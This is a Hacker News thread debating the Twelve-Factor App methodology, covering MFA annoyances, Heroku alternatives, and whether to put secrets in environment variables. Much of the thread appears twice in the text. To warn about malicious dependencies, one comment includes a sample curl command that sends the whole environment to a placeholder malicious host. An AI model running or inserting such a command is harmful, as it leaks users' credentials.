6 ms·

The Twelve-Factor App (2025)

317 points by jxmorris12 1mo ago

jasonpeacock 1mo ago
It’s always new for someone… https://xkcd.com/1053/ https://xkcd.com/1053/
browningstreet 1mo ago
I really thought this would be a 12 layer MFA demo showing the absurdity of our current painful & unsustainable MFA trends.
- VeninVidiaVicii 1mo ago
  Every time I leave my phone in the other room to “finally get some work done”, please enter this goddamn number we sent to your SMS, and I close my laptop.
  - maccard 1mo ago
    My work uses “okta verify” for everything which is very helpful, as I can sue my work PC as a trusted device or fall back to a yubikey if not. 100x better than random SMS
  - JoshTriplett 1mo ago
    The most obnoxious aspect of that: I specifically have my texts accessible on my laptop, but some 2fa authentication texts get blocked via that mechanism in favor of a message saying "look at this message on your phone".
    - _whiteCaps_ 1mo ago
      That drives me crazy. The RBC app does this although it eventually times out and gives me the number.
    - zuuna 1mo ago
      Gets worse. A lot of accounts were set up by my boss so it's all his 2FA. Then some of these require the phone to scan a QR-Code. We work remotely.
  - rmarques7 1mo ago
    The worst part is: why are they sending me an SMS when I never agreed to it and didn’t configured that as an MFA option?
  - JoBrad 1mo ago
    I used to solve this with the Authy desktop app, now discontinued. I firmly believe MFA shouldn’t live in your password manager (what’s the point of MFA, then?). Thoughts on MFA options?
- xander_north 1mo ago
  Okay so this may sound odd but this is literally my whole life right now... Can you explain why do you feel MFA is painful/unsustainable? How would you fix it?
  - kridsdale1 1mo ago
    We should return to physical metal keys that are unique to unlock the computer.
  - loeg 1mo ago
    The problem is the "M." Anything beyond a single factor is unnecessarily painful. Make the single factor good (passkeys or FIDO2 or whatever) and the problem is solved without "M."
  - deleted 1mo ago
    [deleted]
  - browningstreet 1mo ago
    Google pushes "password" down 2 layers of their interface. If you really want to use a password to authenticate, it's not always a first class citizen. Both Google and Microsoft call their apps Authenticator, so two identically named apps on my iPhone distinguishable only by logo. Furthermore, if you login to 20 things a day (which I do), the codes are going to these apps, SMS, and email. Each different.. so if I'm on my Linux box, my Watch doesn't really help. If I leave my phone in the other room, I can't use the apps to get the code without going to the other room. If multi-tasking is expensive for the brain and attention, MFA is the computing surface equivalent. You may have built a great MFA workflow, but I have to live with 3-10 variations of workflows all day long, including puzzles. And it's more aggravating when I have to MFA to your service to get my information. My machine is in my house and nobody's been in my house but every_single_login requires me to pretend that in every moment of every day someone may have stolen my laptop and my finger. My work machine will let me auth with my fingerprint, but the typical enterprise integration of all the things means I still have to click through 3-4 screens to get to where the fingerprint is accepted. Services and APIs don't MFA.. they have keys and other restrictions for seamlessness. Where's the seamlessness solution for humans? Passkeys are cool, but they're not ubiquitous enough yet, and the interface between desktop and mobile (even using 1Password for universal passkeys) wouldn't qualify as solved in my book. MFA as whack-a-mole UI sucks.
- paganel 1mo ago
  > painful & unsustainable MFA trends. This very web-forum was a very big proponent of those politics a few years ago.
michchinn 1mo ago
https://news.ycombinator.com/item?id=37862016 https://news.ycombinator.com/item?id=37862016 > Related: > Ask HN: Is 12factor.net Still Relevant? - https://news.ycombinator.com/item?id=36283702 https://news.ycombinator.com/item?id=36283702 - June 2023 (6 comments) > 12 Factor App Revisited - https://news.ycombinator.com/item?id=33164407 https://news.ycombinator.com/item?id=33164407 - Oct 2022 (7 comments) > Twelve-factor app anno 2022 - https://news.ycombinator.com/item?id=31225921 https://news.ycombinator.com/item?id=31225921 - May 2022 (35 comments) > The Twelve-Factor App (2011) - https://news.ycombinator.com/item?id=31198956 https://news.ycombinator.com/item?id=31198956 - April 2022 (102 comments) > Twelve-factor app development on Google Cloud - https://news.ycombinator.com/item?id=21415488 https://news.ycombinator.com/item?id=21415488 - Nov 2019 (63 comments) > The Twelve-Factor App - https://news.ycombinator.com/item?id=19947507 https://news.ycombinator.com/item?id=19947507 - May 2019 (3 comments) > 12 Factor CLI Apps - https://news.ycombinator.com/item?id=18172689 https://news.ycombinator.com/item?id=18172689 - Oct 2018 (247 comments) > 12 factor app configuration vs. leaking environment variables (2014) - https://news.ycombinator.com/item?id=15869436 https://news.ycombinator.com/item?id=15869436 - Dec 2017 (2 comments) > Ask HN: Alternative to Heroku that doesn't enforce 12-factor - https://news.ycombinator.com/item?id=10628961 https://news.ycombinator.com/item?id=10628961 - Nov 2015 (1 comment) > The Twelve-Factor App - https://news.ycombinator.com/item?id=10288216 https://news.ycombinator.com/item?id=10288216 - Sept 2015 (3 comments) > The Twelve-Factor App - https://news.ycombinator.com/item?id=9492120 https://news.ycombinator.com/item?id=9492120 - May 2015 (2 comments) > Twelve-Factor Applications with Consul - https://news.ycombinator.com/item?id=7780249 https://news.ycombinator.com/item?id=7780249 - May 2014 (2 comments) > The Twelve-Factor App - https://news.ycombinator.com/item?id=7547687 https://news.ycombinator.com/item?id=7547687 - April 2014 (1 comment) > Building Twelve Factor Apps on Heroku - https://news.ycombinator.com/item?id=6219444 https://news.ycombinator.com/item?id=6219444 - Aug 2013 (1 comment) > 12 Factor model for architecting SaaS applications - https://news.ycombinator.com/item?id=6060381 https://news.ycombinator.com/item?id=6060381 - July 2013 (1 comment) > The Twelve-Factor App - https://news.ycombinator.com/item?id=5979452 https://news.ycombinator.com/item?id=5979452 - July 2013 (1 comment) > 12factor: Methodology for Building Software-as-a-Service Apps - https://news.ycombinator.com/item?id=4027026 https://news.ycombinator.com/item?id=4027026 - May 2012 (1 comment) > Twelve Factors of Web Application Development - https://news.ycombinator.com/item?id=3267187 https://news.ycombinator.com/item?id=3267187 - Nov 2011 (37 comments)
dec0dedab0de 1mo ago
Heroku seemed like it was going to be the future back then. Every time I find myself struggling to understand some nonsense in Azure I dream of the simpler future we lost.
- jpb0104 1mo ago
  I've got to give credit where it is due... It really feels like Laravel Cloud picked up where Heroku left off. Or at least is trying to.
- rietta 1mo ago
  They got painfully expensive and then acquired. I still remember the arguments with clients and finally went all in AWS ECS, which is still quite pricey but clients seem to complain less about the Amazon bill then they did about Heroku.
  - mermadicsolutio 1mo ago
    Other than the pricing, for something built for simplicity, i always found their config method bit weird. Maybe it's just me b/c I first learned the aws stack, and got tired of managing EKS
- cgarvis 1mo ago
  Fly.io brings back some of that easy of deploy.
  - drob518 1mo ago
    Yep, agreed. Fly.io is the closest to Heroku that I’ve found.
  - kestrel-robotic 1mo ago
    Caprover for me, but fly.io is pretty cool, reminds me of flynn.io
  - nkmnz 1mo ago
    Especially the pricing is equally joyous.
_superposition_ 1mo ago
Still relevant.
_superposition_ 1mo ago
I can't believe how old this is and I feel like most devs still haven't internalized this which is a shame.
- nunez 1mo ago
  Now they'll never need to now that they have agents
- commandlinefan 1mo ago
  Is it devs that haven't internalized this? Or management? Because I'd love to do this, but I always report to people who demand that everything be done in "a few days".
  - duderific 1mo ago
    Unfortunately if you don't start out building the application from these principles, the tech debt piles up, and then it's hard to recover.
- mocamoca 1mo ago
  Pass the word! I hired about 50 software interns and junior in the past 5 years. None had ever heard of it before I told them.
  - _superposition_ 1mo ago
    I do. May as well be gospel. It's up there.
rietta 1mo ago
Oh! That's a term I have not heard in a long time!
Tomte 1mo ago
Every time it gets posted I read through the list and think "export services via port binding… of course a web server binds to a port, of course it‘s decoupled that way, what else would you do" and "treat backing services as attached resources… huh, is that really only about not linking in a database, but connecting using a JDBC string, for example?" So let me ask for once: what am I missing? Why is that interesting and not trite?
- anon7000 1mo ago
  I think you gotta look back to how web servers worked before containers.
- dec0dedab0de 1mo ago
  I think backing services as attached resources was opposed to the practice of having your DB, and cache, and whatnot managed and maintained by a completely separate team and not really treated as part of the application. Even the schema changes. The port binding was really a response to tomcat or modphp being modules in the webserver, as opposed to hosting their own web service internally. This was before nginx took off, and proxying to internal application ports was common. edit: I was wrong about the backing services, it seems it is really about treating them as configurations and being able to swap them out without making code changes. https://12factor.net/backing-services https://12factor.net/backing-services
- jaggederest 1mo ago
  > Why is that interesting and not trite? The same reason many older films seem cliche - because they were the first to do it, and it's accepted standard now. Heroku very much shaped how we think of "cloud applications", autoscaling, and containerization.
- ipsi 1mo ago
  If you go far enough back in time (this dates back to at least 2011), it's arguing against things like: For port binding, for example, it used to be that you'd deploy your app to the web application container, rather than bundling them together. e.g., deploying your WAR file to Tomcat, rather than building a self-executing JAR which included Tomcat. The wording is a bit odd, but I think they were trying to make the point very generic, and not specifically about the Enterprise Java world. For the backing resources, it's a combination of point 3, config often living inside the codebase, applications just shelling out to /usr/sbin/sendmail or what have you, and applications living on the same host as the DB, such that bringing up a new application necessarily required bringing up a new DB as well. Which also made it hard it to scale horizontally. The whole "12 Factor" thing was partly because Heroku had specific solutions for all of these, so going down this road made it much easier to then sell Heroku, and partly because they really were frustrating. I'd say that the port binding one is more targeted at, say, WebSphere, and all that came along with it, such as sharing a single heap across multiple apps, needing to talk to the WebSphere admins to change configuration, needing to use a "lite" version of WebSphere to test locally, if that was even possible, and so on. They sound super-obvious these days, but at the time, for a lot of us, they were really nice to see.
dankobgd 1mo ago
twelfth repost
nebezb 1mo ago
Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes. The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter” Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files. Stop doing this. Do the other 11.5 factors. [1]: https://12factor.net/config https://12factor.net/config
- javcasas 1mo ago
  > this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files Teach them to use dotenv. We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing. We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match). What would be your suggestion?
  - nebezb 1mo ago
    My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is. Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope. As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1]. [1] https://github.com/getsops/sops https://github.com/getsops/sops
nnutter 1mo ago
Note that at the bottom of a page is a "Download ePub Book" link, <https://12factor.net/12factor.epub https://12factor.net/12factor.epub>.
greenie_beans 1mo ago
need something better than the .env honeypot in this AI age. but idk what that might be
- pull_my_finger 1mo ago
  You can use ephemeral filesystem mounts[1] [1]: https://forcesunseen.com/blog/stop-storing-secrets-in-environment-variables https://forcesunseen.com/blog/stop-storing-secrets-in-enviro...
theozero 1mo ago
.env as we know is full of problems... BUT! check out varlock (https://varlock.dev https://varlock.dev) - it's free and open source, and we have really modernized and adapted the familiar syntax (a small DSL on top) to make it much better. Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.
- weinzierl 1mo ago
  I think the idea to use the environment is misguided in general. The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.
  - theozero 1mo ago
    I won't disagree that it comes with security tradeoffs and depending on the situation it can definitely be a problem. But in many cases with how people deploy lots of software - most PaaS and things like lambdas / cloudflare workers, etc - it's absolutely fine. With varlock, we can even swap out the secret delivery mechanism at the end - but you still get a schema and familiar interface for how it all works.
sandeepkd 1mo ago
Its interesting how this felt so natural and right way to do software. I remember people referencing it as the north star. And then gradually people came close to it but moved past it. Personally I feel that these concepts require to have generalist mindset aka application architect. What we have as of today are lot of product engineers within teams, product managers and management. The product engineers do not always have enough leverage or incentives to push for these kind of concepts. And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.
- _def 1mo ago
  I don't know. I've seen lots of "architects" conceptualizing just overly complex structures.
- nunez 1mo ago
  Idk I still think it's a great way to ship software
phoneafriend 1mo ago
Yeah this is good stuff. Shocked to click around the site and find Intuit [working to follow] it. Today they get a nod. Tomorrow it's back to wondering why they needed 10 GUI revisions and a 65% price hike in the past year alone. [palms forehead; returns to coffee + codebase]
- msmith 1mo ago
  How did you see a connection to Intuit? I believe this originated from Adam Wiggins, cofounder of Heroku - acquired by Salesforce.
Exoristos 1mo ago
While this is and has always been outstanding advice, be aware different readers tend to comprehend that advice differently. Make sure you understand your approach moving forward; do further research and hold discussions with seniors.
naniel 1mo ago
I was really hoping this would be about 12-factor authentication
bad_username 1mo ago
> X. Dev/prod parity Keep development, staging, and production as similar as possible Notably, there is no requirement or recommendation that the dev environment be a single, shared environment. Development processes where this environment is single is shared is as terrible as it is ubiqitous.
Juliate 1mo ago
There is a GitHub repo with updates: https://github.com/twelve-factor/twelve-factor https://github.com/twelve-factor/twelve-factor
imglorp 1mo ago
Good best practices, mostly, but I feel the 12FA model totally punted on state by defining it out of scope: "state is over there in that external service, three-monkeys-emoji". Yeah but sometimes state is the entire point and you need to manage it yourself, and then some of your processes must be 9 or 10 factor as a result.
- xorcist 1mo ago
  State is always the entire point.
n4pw01f 1mo ago
Used to follow this to a T. Love 12factor, evangelized it at a lot of companies too
echrisinger 1mo ago
> X. Dev/prod parity > Keep development, staging, and production as similar as possible Gets interesting at the seams of software & data environments. If my preprod stack operates independently of my prod stack (due to different internal users), but preprod data stack is best tested on prod data, the seams of these two things imply there should be a separate data stack for both preprod data versus preprod-internal. Generally pro 12-FA, but it's very service dev oriented.
- nkmnz 1mo ago
  I know an e-commerce company where the staging environment was completely hijacked by product managers to "stage" their data. They've even convinced management to ask IT to build a tool for migrating data from staging to production. All of this just to avoid building a proper release flow for (product-)data.
pjs_ 1mo ago
Imperfect but certified classic
whalesalad 1mo ago
When people ask me what my religious beliefs are, this is what I respond with.
arun6582 1mo ago
I read this 6 years ago. I’m glad to see this again
manganate06 1mo ago
[flagged]
luciandan 1mo ago
I love it how this is still at thing. Good principles never die, just like good music I guess.
lxe 1mo ago
I know that all of this is super relevant, but it's extremely aspirational, and I can pick apart pretty much every one of these factors on how it doesn't fully hold up when it comes to the reality of production applications.
- Silasdev 1mo ago
  Of course you can, but it's still a really great collection of good practices that lead you to a better place than if you didn't to do any of it.
- duderific 1mo ago
  Principles are by definition aspirational. The idea, I'd say, is to always have them in mind and get as close to them as possible.
- tflinton 1mo ago
  I know large Fortune 500 companies with 10,000 apps that follow it pretty religiously.
deleted 1mo ago
[deleted]
onionisafruit 1mo ago
I'm not sure where the (2025) in the title comes from, but this has been around much longer than that.
- blurrybird 1mo ago
  +1. I saw the 2025 suffix and fact that it was on the original domain and hoped they released a v2 to carry us through the world of Platform Engineering, Observability 2.0, Kubernetes vs Serverless, etc.
- NtG_UK 1mo ago
  2011 according to the earliest post on HN
- tflinton 1mo ago
  Heroku updated it in 2025.
mermadicsolutio 1mo ago
I'm debating the tradeoff for secret management in my app as well. Storing it is easy you just need encryption and it's mostly good. But delivering it is tricky. Delivery via env is simple for sure but can get leaked. The other route would be a job scoped signature, but this doesnt stop the job from printing the secret out, it only shrinks the blast radius. But if you delete the secret after the job is done or deployment is up, it's pretty much the same result
IshKebab 1mo ago
Storing config in environment variables is just such an incredibly obviously awful thing to do I can't recommend that anyone listens to this advice. Maybe some of the other things are good practice... honestly I don't remember... but once I saw that I immediately noped out. Would you get advice from an antivaxxer? Like, maybe they do have good advice but it's still a good idea to get your advice elsewhere!
RKearney 1mo ago
Title should read (2011) https://news.ycombinator.com/from?site=12factor.net https://news.ycombinator.com/from?site=12factor.net
- Bo_Amigo_910 1mo ago
  [dead]
deleted 1mo ago
[deleted]
cryptolobster 1mo ago
[dead]
gaigalas 1mo ago
2025?
- hooch 1mo ago
  True, it first appeared around 2011
- tflinton 1mo ago
  Heroku made some updates in 2025
  - ameliaquining 1mo ago
    What updates were these?
subarctic 1mo ago
How is this only from 2025? I thought this was a thing back in 2015
- svat 1mo ago
  It's even older the page says "Last updated 2017" and the repo goes back to 2011, and in fact see HN discussion from November 2011: https://news.ycombinator.com/item?id=3267187 https://news.ycombinator.com/item?id=3267187
chanux 1mo ago
Very good discussion on III. Config or the use of environment variables for config. For the sake of discussion I'd share an argument against X. Dev/Prod parity https://www.sc.com/engineering/blogs/Technology/development-production https://www.sc.com/engineering/blogs/Technology/development-... I do not fully agree with the author and I think the author is reaching a bit hard because in my reading Twelve-Factor App X does not argue for complete parity. My reading is that whatever the app is interfacing should be kept as similar as possible.
- alfons_foobar 1mo ago
  that link 404's :(
  - chanux 1mo ago
    What a shame. Please check the archive for now: https://web.archive.org/web/20240628184010/https://www.sc.com/engineering/blogs/Technology/development-production https://web.archive.org/web/20240628184010/https://www.sc.co...
jchook 1mo ago
You have to enjoy this article from the perception of its time. For example #1, the idea of a central codebase + many deploys was not always the way folks did things lol. The (2025) date must not be correct…
- nunez 1mo ago
  It's not this came out in 2012 when Heroku was The Way to run SaaS apps
  - hawaiianbrah 1mo ago
    I was confused at first, thinking this was going to be an updated version of the original.
mcapodici 1mo ago
I haven't checked the 12 factors for a while but feel proud to have worked on systems probably for a long old while where most or all have applied. To the point I'd naturally do these things without consciously thinking. I think that says a lot about good practices spreading than anything else. To not do these things: maybe a startup moving fast, or a very isolated company or just some old legacy COBOL type thing where you want the thing to still work as the main concern.
taegee 1mo ago
I don't understand why I'm not seeing a single comment here regarding the fact that web apps are mostly a piece of shit performance and usability wise.
jodersky 1mo ago
> I. Codebase (https://12factor.net/codebase https://12factor.net/codebase) > Multiple apps sharing the same code is a violation of twelve-factor. I never understood why the 12 factor app is against monorepos. It seems completely orthogonal to the contract between an application and its execution platform, which if I understand correctly, is the main point of 12 factor.
- deleted 1mo ago
  [deleted]
timontoadnix 1mo ago
[dead]
ivolimmen 1mo ago
I still point to this document as the base of DevOps. Most people I work with in IT never read it. If you want to do proper DevOps these are a requirement not optional. Last time I pointed someone to this site was last week.
esher 1mo ago
Ah memories. Adam Wiggins, Heroku. Great marketing. IMHO to some extend not only best practices, but also limitations of the platform they had built. Interesting to see that also this now copyright by Salesforce.
rsgalloway 1mo ago
[dead]
sporkland 1mo ago
This is way older than 2025, no?

317 points by jxmorris12 1mo ago

It’s always new for someone… https://xkcd.com/1053/ https://xkcd.com/1053/

I really thought this would be a 12 layer MFA demo showing the absurdity of our current painful & unsustainable MFA trends.

VeninVidiaVicii 1mo ago
Every time I leave my phone in the other room to “finally get some work done”, please enter this goddamn number we sent to your SMS, and I close my laptop.
- maccard 1mo ago
  My work uses “okta verify” for everything which is very helpful, as I can sue my work PC as a trusted device or fall back to a yubikey if not. 100x better than random SMS
- JoshTriplett 1mo ago
  The most obnoxious aspect of that: I specifically have my texts accessible on my laptop, but some 2fa authentication texts get blocked via that mechanism in favor of a message saying "look at this message on your phone".
  - _whiteCaps_ 1mo ago
    That drives me crazy. The RBC app does this although it eventually times out and gives me the number.
  - zuuna 1mo ago
    Gets worse. A lot of accounts were set up by my boss so it's all his 2FA. Then some of these require the phone to scan a QR-Code. We work remotely.
- rmarques7 1mo ago
  The worst part is: why are they sending me an SMS when I never agreed to it and didn’t configured that as an MFA option?
- JoBrad 1mo ago
  I used to solve this with the Authy desktop app, now discontinued. I firmly believe MFA shouldn’t live in your password manager (what’s the point of MFA, then?). Thoughts on MFA options?
xander_north 1mo ago
Okay so this may sound odd but this is literally my whole life right now... Can you explain why do you feel MFA is painful/unsustainable? How would you fix it?
- kridsdale1 1mo ago
  We should return to physical metal keys that are unique to unlock the computer.
- loeg 1mo ago
  The problem is the "M." Anything beyond a single factor is unnecessarily painful. Make the single factor good (passkeys or FIDO2 or whatever) and the problem is solved without "M."
- deleted 1mo ago
  [deleted]
- browningstreet 1mo ago
  Google pushes "password" down 2 layers of their interface. If you really want to use a password to authenticate, it's not always a first class citizen. Both Google and Microsoft call their apps Authenticator, so two identically named apps on my iPhone distinguishable only by logo. Furthermore, if you login to 20 things a day (which I do), the codes are going to these apps, SMS, and email. Each different.. so if I'm on my Linux box, my Watch doesn't really help. If I leave my phone in the other room, I can't use the apps to get the code without going to the other room. If multi-tasking is expensive for the brain and attention, MFA is the computing surface equivalent. You may have built a great MFA workflow, but I have to live with 3-10 variations of workflows all day long, including puzzles. And it's more aggravating when I have to MFA to your service to get my information. My machine is in my house and nobody's been in my house but every_single_login requires me to pretend that in every moment of every day someone may have stolen my laptop and my finger. My work machine will let me auth with my fingerprint, but the typical enterprise integration of all the things means I still have to click through 3-4 screens to get to where the fingerprint is accepted. Services and APIs don't MFA.. they have keys and other restrictions for seamlessness. Where's the seamlessness solution for humans? Passkeys are cool, but they're not ubiquitous enough yet, and the interface between desktop and mobile (even using 1Password for universal passkeys) wouldn't qualify as solved in my book. MFA as whack-a-mole UI sucks.
paganel 1mo ago
> painful & unsustainable MFA trends. This very web-forum was a very big proponent of those politics a few years ago.

michchinn 1mo ago

https://news.ycombinator.com/item?id=37862016 https://news.ycombinator.com/item?id=37862016 > Related: > Ask HN: Is 12factor.net Still Relevant? - https://news.ycombinator.com/item?id=36283702 https://news.ycombinator.com/item?id=36283702 - June 2023 (6 comments) > 12 Factor App Revisited - https://news.ycombinator.com/item?id=33164407 https://news.ycombinator.com/item?id=33164407 - Oct 2022 (7 comments) > Twelve-factor app anno 2022 - https://news.ycombinator.com/item?id=31225921 https://news.ycombinator.com/item?id=31225921 - May 2022 (35 comments) > The Twelve-Factor App (2011) - https://news.ycombinator.com/item?id=31198956 https://news.ycombinator.com/item?id=31198956 - April 2022 (102 comments) > Twelve-factor app development on Google Cloud - https://news.ycombinator.com/item?id=21415488 https://news.ycombinator.com/item?id=21415488 - Nov 2019 (63 comments) > The Twelve-Factor App - https://news.ycombinator.com/item?id=19947507 https://news.ycombinator.com/item?id=19947507 - May 2019 (3 comments) > 12 Factor CLI Apps - https://news.ycombinator.com/item?id=18172689 https://news.ycombinator.com/item?id=18172689 - Oct 2018 (247 comments) > 12 factor app configuration vs. leaking environment variables (2014) - https://news.ycombinator.com/item?id=15869436 https://news.ycombinator.com/item?id=15869436 - Dec 2017 (2 comments) > Ask HN: Alternative to Heroku that doesn't enforce 12-factor - https://news.ycombinator.com/item?id=10628961 https://news.ycombinator.com/item?id=10628961 - Nov 2015 (1 comment) > The Twelve-Factor App - https://news.ycombinator.com/item?id=10288216 https://news.ycombinator.com/item?id=10288216 - Sept 2015 (3 comments) > The Twelve-Factor App - https://news.ycombinator.com/item?id=9492120 https://news.ycombinator.com/item?id=9492120 - May 2015 (2 comments) > Twelve-Factor Applications with Consul - https://news.ycombinator.com/item?id=7780249 https://news.ycombinator.com/item?id=7780249 - May 2014 (2 comments) > The Twelve-Factor App - https://news.ycombinator.com/item?id=7547687 https://news.ycombinator.com/item?id=7547687 - April 2014 (1 comment) > Building Twelve Factor Apps on Heroku - https://news.ycombinator.com/item?id=6219444 https://news.ycombinator.com/item?id=6219444 - Aug 2013 (1 comment) > 12 Factor model for architecting SaaS applications - https://news.ycombinator.com/item?id=6060381 https://news.ycombinator.com/item?id=6060381 - July 2013 (1 comment) > The Twelve-Factor App - https://news.ycombinator.com/item?id=5979452 https://news.ycombinator.com/item?id=5979452 - July 2013 (1 comment) > 12factor: Methodology for Building Software-as-a-Service Apps - https://news.ycombinator.com/item?id=4027026 https://news.ycombinator.com/item?id=4027026 - May 2012 (1 comment) > Twelve Factors of Web Application Development - https://news.ycombinator.com/item?id=3267187 https://news.ycombinator.com/item?id=3267187 - Nov 2011 (37 comments)

dec0dedab0de 1mo ago

Heroku seemed like it was going to be the future back then. Every time I find myself struggling to understand some nonsense in Azure I dream of the simpler future we lost.

jpb0104 1mo ago
I've got to give credit where it is due... It really feels like Laravel Cloud picked up where Heroku left off. Or at least is trying to.
rietta 1mo ago
They got painfully expensive and then acquired. I still remember the arguments with clients and finally went all in AWS ECS, which is still quite pricey but clients seem to complain less about the Amazon bill then they did about Heroku.
- mermadicsolutio 1mo ago
  Other than the pricing, for something built for simplicity, i always found their config method bit weird. Maybe it's just me b/c I first learned the aws stack, and got tired of managing EKS
cgarvis 1mo ago
Fly.io brings back some of that easy of deploy.
- drob518 1mo ago
  Yep, agreed. Fly.io is the closest to Heroku that I’ve found.
- kestrel-robotic 1mo ago
  Caprover for me, but fly.io is pretty cool, reminds me of flynn.io
- nkmnz 1mo ago
  Especially the pricing is equally joyous.

_superposition_ 1mo ago

Still relevant.

_superposition_ 1mo ago

I can't believe how old this is and I feel like most devs still haven't internalized this which is a shame.

nunez 1mo ago
Now they'll never need to now that they have agents
commandlinefan 1mo ago
Is it devs that haven't internalized this? Or management? Because I'd love to do this, but I always report to people who demand that everything be done in "a few days".
- duderific 1mo ago
  Unfortunately if you don't start out building the application from these principles, the tech debt piles up, and then it's hard to recover.
mocamoca 1mo ago
Pass the word! I hired about 50 software interns and junior in the past 5 years. None had ever heard of it before I told them.
- _superposition_ 1mo ago
  I do. May as well be gospel. It's up there.

rietta 1mo ago

Oh! That's a term I have not heard in a long time!

Tomte 1mo ago

Every time it gets posted I read through the list and think "export services via port binding… of course a web server binds to a port, of course it‘s decoupled that way, what else would you do" and "treat backing services as attached resources… huh, is that really only about not linking in a database, but connecting using a JDBC string, for example?" So let me ask for once: what am I missing? Why is that interesting and not trite?

anon7000 1mo ago
I think you gotta look back to how web servers worked before containers.
dec0dedab0de 1mo ago
I think backing services as attached resources was opposed to the practice of having your DB, and cache, and whatnot managed and maintained by a completely separate team and not really treated as part of the application. Even the schema changes. The port binding was really a response to tomcat or modphp being modules in the webserver, as opposed to hosting their own web service internally. This was before nginx took off, and proxying to internal application ports was common. edit: I was wrong about the backing services, it seems it is really about treating them as configurations and being able to swap them out without making code changes. https://12factor.net/backing-services https://12factor.net/backing-services
jaggederest 1mo ago
> Why is that interesting and not trite? The same reason many older films seem cliche - because they were the first to do it, and it's accepted standard now. Heroku very much shaped how we think of "cloud applications", autoscaling, and containerization.
ipsi 1mo ago
If you go far enough back in time (this dates back to at least 2011), it's arguing against things like: For port binding, for example, it used to be that you'd deploy your app to the web application container, rather than bundling them together. e.g., deploying your WAR file to Tomcat, rather than building a self-executing JAR which included Tomcat. The wording is a bit odd, but I think they were trying to make the point very generic, and not specifically about the Enterprise Java world. For the backing resources, it's a combination of point 3, config often living inside the codebase, applications just shelling out to /usr/sbin/sendmail or what have you, and applications living on the same host as the DB, such that bringing up a new application necessarily required bringing up a new DB as well. Which also made it hard it to scale horizontally. The whole "12 Factor" thing was partly because Heroku had specific solutions for all of these, so going down this road made it much easier to then sell Heroku, and partly because they really were frustrating. I'd say that the port binding one is more targeted at, say, WebSphere, and all that came along with it, such as sharing a single heap across multiple apps, needing to talk to the WebSphere admins to change configuration, needing to use a "lite" version of WebSphere to test locally, if that was even possible, and so on. They sound super-obvious these days, but at the time, for a lot of us, they were really nice to see.

dankobgd 1mo ago

twelfth repost

nebezb 1mo ago

Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes. The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter” Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files. Stop doing this. Do the other 11.5 factors. [1]: https://12factor.net/config https://12factor.net/config

javcasas 1mo ago
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files Teach them to use dotenv. We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing. We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match). What would be your suggestion?
- nebezb 1mo ago
  My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is. Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope. As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1]. [1] https://github.com/getsops/sops https://github.com/getsops/sops

nnutter 1mo ago

Note that at the bottom of a page is a "Download ePub Book" link, <https://12factor.net/12factor.epub https://12factor.net/12factor.epub>.

greenie_beans 1mo ago

need something better than the .env honeypot in this AI age. but idk what that might be

pull_my_finger 1mo ago
You can use ephemeral filesystem mounts[1] [1]: https://forcesunseen.com/blog/stop-storing-secrets-in-environment-variables https://forcesunseen.com/blog/stop-storing-secrets-in-enviro...

theozero 1mo ago

.env as we know is full of problems... BUT! check out varlock (https://varlock.dev https://varlock.dev) - it's free and open source, and we have really modernized and adapted the familiar syntax (a small DSL on top) to make it much better. Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.

weinzierl 1mo ago
I think the idea to use the environment is misguided in general. The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.
- theozero 1mo ago
  I won't disagree that it comes with security tradeoffs and depending on the situation it can definitely be a problem. But in many cases with how people deploy lots of software - most PaaS and things like lambdas / cloudflare workers, etc - it's absolutely fine. With varlock, we can even swap out the secret delivery mechanism at the end - but you still get a schema and familiar interface for how it all works.

sandeepkd 1mo ago

